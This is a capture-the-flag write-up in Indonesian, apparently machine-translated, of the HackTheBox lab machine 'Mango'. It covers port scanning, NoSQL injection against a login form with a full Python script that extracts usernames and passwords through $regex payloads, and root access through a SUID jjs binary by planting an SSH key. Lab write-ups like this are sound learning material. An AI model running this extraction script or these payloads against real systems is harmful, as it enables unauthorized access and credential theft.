Saya terus menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox .Pada artikel ini, kami mengeksploitasi injeksi NoSQL dalam bentuk otorisasi, dan juga meningkatkan hak istimewa melalui JJS.Koneksi ke laboratorium adalah melalui VPN. Disarankan untuk tidak terhubung dari komputer kerja atau dari host di mana data penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)Recon
Mesin ini memiliki alamat IP 10.10.10.162, yang saya tambahkan ke / etc / hosts.10.10.10.162 mango.htb
Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 1000 paket per detik.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162 --rate=1000
Sekarang, untuk informasi lebih rinci tentang layanan yang beroperasi pada port, kami akan menjalankan pemindaian dengan opsi -A.nmap -A mango.htb -p22,80,443
Pertama-tama, mari kita tonton situsnya. Saat mengakses mango.htb, mereka melemparkan kami dari http ke https dan berbicara tentang masalah dengan sertifikat. Jika Anda menyetujui risikonya, Anda dapat melihat halaman ini.
Tapi tidak ada yang lebih menarik. Pemindaian nmap menampilkan informasi ssl-cert di mana domain ditentukan. Tambahkan ke / etc / hosts.10.10.10.162 staging-order.mango.htb
Dan mari kita lihat apa yang ada di sana.
Ada formulir otorisasi - titik masuk yang memungkinkan.Titik masuk
Kami mencoba beberapa teknik injeksi untuk melewati otorisasi. Dan kami menemukan injeksi NoSql standar dengan membandingkan reaksi dengan dua kondisi: masuk adalah 123, kata sandi 123 dan masuk bukan 123, kata sandi bukan 123.
Dan setelah hasil sebenarnya yang berhasil dari kondisi kedua, kami mendapatkan pengalihan ke home.php. Dengan demikian, injeksi NoSql dimungkinkan.
Karena tidak ada yang menarik di halaman, satu-satunya hal yang dapat kita ambil dari kerentanan ini adalah login dan kata sandi.PENGGUNA
Mari kita lihat panjang nama pengguna dan kata sandi maksimum. Untuk melakukan ini, Anda dapat menggunakan konstruksi berikut:login [$ regex] =. {Panjang} & kata sandi [$ ne] = 123 - untuk login (perbandingan ekspresi reguler untuk login dilakukan dan kata sandi tidak valid);login [$ ne] = 123; kata sandi [$ regex] =. {length} untuk kata sandi.Mari kita lakukan dengan pengganggu bersendawa.![gambar](https://habrastorage.org/webt/t4/qt/as/t4qtasovwbpztczlvah1utgchvy.png)
![gambar](https://habrastorage.org/webt/50/g1/ux/50g1uxyl8puehikjjvhfwskymas.png)
Dengan demikian, panjang login terlama adalah 5 karakter. Setelah melakukan operasi yang sama untuk kata sandi, kami menemukan bahwa panjang yang terpanjang adalah 16 karakter.
Karena terlalu lama untuk mengatasinya dengan tangan Anda, kami akan menulis skrip python. Pertama, kami akan membuat sesi untuk bekerja.import string
import requests
alfa = string.printable
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
Selanjutnya, kami menerapkan fungsi untuk menghitung login. Iterasi akan dilakukan menggunakan ekspresi reguler ^ nama berikut. * - dengan cara ini kita akan merentangkan satu karakter pada satu waktu.def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
Dan fungsi yang serupa, hanya menggunakan login yang ditemukan.def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
KODE LENGKAP:
import string
import requests
alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
print("SEARCH logins:")
logins_find("")
print("\nSEARCH passwords:")
[ passwords_find(login, "") for login in logins ]
Dan, sebagai hasilnya, kami menemukan kredensial dua pengguna.
Kami berhasil terhubung ke kredensial melalui SSH.
Kami memiliki kata sandi dari pengguna kedua, tetapi tidak mengizinkan masuk melalui SSH. Kami mencoba mengubah pengguna secara lokal dengan memasukkan kata sandi yang kami tahu.![gambar](https://habrastorage.org/webt/an/sv/jd/ansvjd-dltwwlw6tx5kouoy5bpg.png)
AKAR
Mari kita lakukan pencacahan dasar menggunakan skrip LinEnum .
Dan kami menemukan program dengan set S-bit.
Memeriksa JJS misalnya GTFOBins .
Ada juga contoh operasi. Panggilan shell lokal tidak berfungsi. Tetapi Anda dapat membuat kunci ssh, menulis publik di /root/.ssh/authorized_keys dan terhubung menggunakan pribadi.
Mari kita hitung kunci publik.
Dan sekarang tuliskan.
Dan sekarang terhubung sebagai root.
Anda dapat bergabung dengan kami di Telegram. Di sana Anda dapat menemukan materi yang menarik, kursus yang digabungkan, serta perangkat lunak. Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.